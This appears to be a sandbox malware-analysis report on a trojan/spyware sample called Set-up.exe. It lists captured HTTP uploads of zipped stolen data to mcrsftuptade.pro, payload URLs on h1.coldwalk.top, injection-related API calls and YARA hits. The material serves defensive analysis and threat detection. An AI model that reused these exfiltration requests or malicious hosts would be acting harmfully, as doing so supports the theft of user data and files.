00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 524954Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: POST /Up/g HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 14506Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 6c 05 f3 30 00 00 00 30 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 fa 9e d0 02 04 00 00 02 04 00 00 32 00 00 00 67 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 41 46 57 41 41 46 52 58 4b 4f 2f 41 46 57 41 41 46 52 58 4b 4f 2e 64 6f 63 78 41 46 57 41 41 46 52 58 4b 4f 49 4d 59 55 54 45 42 4b 4c 43 46 59 55 53 4d 50 4b 42 4c 4c 56 4c 59 43 5a 53 42 59 51 41 52 52 42 49 44 4e 4d 59 4c 50 4c 47 41 49 4a 59 42 50 58 5a 52 52 43 44 4b 57 55 4a 43 5a 46 4e 5a 59 57 4a 4c 4a 57 43 50 50 4e 57 4e 42 55 4e 55 4b 57 4b 41 4e 41 46 4a 54 47 53 4d 4e 44 4e 41 49 50 57 59 43 43 55 47 5a 54 57 43 58 49 44 55 48 4c 4b 44 49 49 46 58 56 5a 5a 43 42 4b 54 4b 5a 58 4b 59 42 46 51 48 4c 48 41 5a 53 50 41 59 4e 56 51 56 43 4e 47 50 54 5a 4c 46 41 46 58 41 55 47 49 53 49 53 41 49 49 54 54 45 55 50 4e 58 4c 57 42 50 41 55 53 43 57 4f 58 48 52 55 43 48 4b 45 4e 48 49 55 48 51 43 53 45 54 43 52 49 4e 42 42 4a 43 55 4a 43 59 49 4f 59 5a 55 50 42 4a 58 4a 42 4c 4d 53 54 43 4d 58 48 4d 4f 4f 59 48 4b 53 51 47 54 47 55 4e 4c 45 44 50 4d 43 46 44 4b 57 44 47 4f 53 4d 57 59 51 4e 58 44 43 41 4f 50 41 47 5a 4c 50 4b 58 51 5a 41 4f 48 53 4a 58 59 4c 4a 55 43 5a 47 41 58 4f 4a 4f 45 50 43 57 42 48 47 47 4b 53 41 50 4c 52 43 4a 52 44 4b 43 49 57 47 41 54 5a 5a 4c 53 41 4f 58 46 50 46 49 45 4e 48 46 5a 43 43 45 5a 43 47 47 59 41 4a 45 45 50 4a 46 4a 4c 51 49 4d 50 59 55 55 45 54 4a 4a 46 4f 47 47 4b 4b 4a 4b 46 41 48 50 52 4d 43 55 4a 4e 44 47 54 58 4d 4c 41 41 51 44 47 45 51 4d 44 55 4c 57 44 50 43 41 55 58 5a 54 59 59 47 4b 41 46 46 51 51 48 49 4b 51 48 45 41 54 55 4a 5a 45 43 4d 50 54 45 42 54 52 48 43 46 47 49 5a 57 43 59 47 49 47 48 49 50 56 57 46 54 50 50 58 53 4e 55 54 59 48 51 43 4c 47 4a 4c 55 59 48 48 56 4d 47 46 4f 4d 48 4a 44 4e 52 47 44 5a 46 48 52 47 59 51 4f 52 54 41 4a 57 4c 47 4f 45 4c 59 4b 43 50 49 41 4e 51 47 43 41 58 49 5a 4f 4d 4a 5a 4f 45 43 5a 47 41 48 46 57 4e 55 41 4b 4b 54 48 4c 41 41 4e 52 42 55 53 4f 5a 5a 4c 4e 57 55 59 4d 58 44 4f 57 50 59 55 46 59 42 4f 5a 5a 5a 42 42 4a 4b 50 4e 4d 46 47 55 43 42 4f 55 57 54 58 58 57 53 4e 4f 42 48 4b 43 50 4c 47 49 57 53 57 48 48 4e 43 4b 4c 4c 4c 50 50 42 50 52 4a 54 4b 47 52 57 4d 49 5a 4a 59 4c 57 4d 44 56 57 47 4a 4f 54 55 51 4c 59 56 55 47 55 4a 51 57 4e 5a 4b 45 55 5a 51 43 51 48 4b 54 43 4d 47 58 42 5a 44 57 45 45 46 57 59 51 48 53 59 45 4d 57 46 46 56 4a 55 44 4f 46 45 58 45 4c 4a 47 55 55 4e 58 50 42 4a 43 49 51 42 4b 43 4d 44 47 44 52 4e 54 58 59 41 58 46 44 53 4c 50 41 47 58 42 54 47 42 49 56 46 58 41 48 4e 58 53 46 49 5

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3
Source: unknown	TCP traffic detected without corresponding DNS query: 188.114.96.3

Source: global traffic

HTTP traffic detected: GET /ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 HTTP/1.1Host: mcrsftuptade.proConnection: close

Source: unknown

HTTP traffic detected: POST /Up HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 289Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 b5 00 00 00 00 00 Data Ascii: PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06"}PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKV

Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://h1.coldwalk.top/amshm.bin
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://h1.coldwalk.top/sh.ext.exe.bin
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://h1.coldwalk.top/shark.bin
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Set-up.exe	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net
Source: Set-up.exe	String found in binary or memory: http://www.adremsoft.com/autoupdate/wmi.tools.json
Source: Set-up.exe	String found in binary or memory: http://www.adremsoft.com/autoupdate/wmi.tools.jsonSVWU
Source: Set-up.exe	String found in binary or memory: http://www.indyproject.org/
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.mygale.org/~cresto/
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.netcrunch.tools/wmitool/
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1EBC NtProtectVirtualMemory,	0_2_01FD1EBC
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1E7E NtFreeVirtualMemory,	0_2_01FD1E7E
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1E2B NtAllocateVirtualMemory,	0_2_01FD1E2B
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF11E5 CreateThread,malloc,NtClose,free,	0_2_01FF11E5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF0B72 NtGetContextThread,NtSetContextThread,NtResumeThread,	0_2_01FF0B72
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF0CD8 NtAllocateVirtualMemory,	0_2_01FF0CD8
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF066E NtProtectVirtualMemory,	0_2_01FF066E
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF19C5 free,NtClose,free,	0_2_01FF19C5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF114C NtClose,	0_2_01FF114C
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF10E8 NtClose,	0_2_01FF10E8
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FF1084 NtClose,	0_2_01FF1084
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_03F884E0 NtWow64QueryInformationProcess64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,	0_2_03F884E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_03F886C0 NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,NtWow64ReadVirtualMemory64,	0_2_03F886C0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_03F88419 NtResumeThread,	0_2_03F88419

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD0421	0_2_01FD0421
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD0000	0_2_01FD0000
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_03F886C0	0_2_03F886C0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 144

Source: Set-up.exe

Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)

Source: Set-up.exe

Static PE information: Number of sections : 11 > 10

Source: Set-up.exe, 00000000.00000000.1241274498.0000000001CDB000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001CFA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNCWmiToolsF vs Set-up.exe
Source: Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe	Binary or memory string: pdOriginalFilename vs Set-up.exe
Source: Set-up.exe	Binary or memory string: OriginalFilename vs Set-up.exe

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DEBUG_STRIPPED, BYTES_REVERSED_HI

Source: Set-up.exe	Binary string: IThe supplied device path "%0:s" is invalid. Is must start with "\DEVICE\"
Source: Set-up.exe	Binary string: \DEVICE\

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@15/25@0/1

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_01FD0B31 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,CloseHandle,

0_2_01FD0B31

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Code function: 8_2_0000000140001130 LoadLibraryA,CoInitializeEx,allocator,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,CoCreateInstance,

8_2_0000000140001130

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7260
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3888
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1692

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\216e9a2c-3701-4619-8adc-8a68c3ac33d5

Jump to behavior

Source: Yara match	File source: Set-up.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1236851204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Set-up.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Set-up.exe, 00000000.00000000.1236851204.0000000000E4C000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: SELECT RDB$FIELD_NAME,RDB$FIELD_POSITION FROM RDB$INDEX_SEGMENTS WHERE RDB$INDEX_NAME = ( SELECT RDB$INDEX_NAME FROM RDB$RELATION_CONSTRAINTS WHERE RDB$RELATION_NAME = '%s' AND RDB$CONSTRAINT_TYPE = 'PRIMARY KEY' ) ORDER BY RDB$FIELD_POSITION;SV
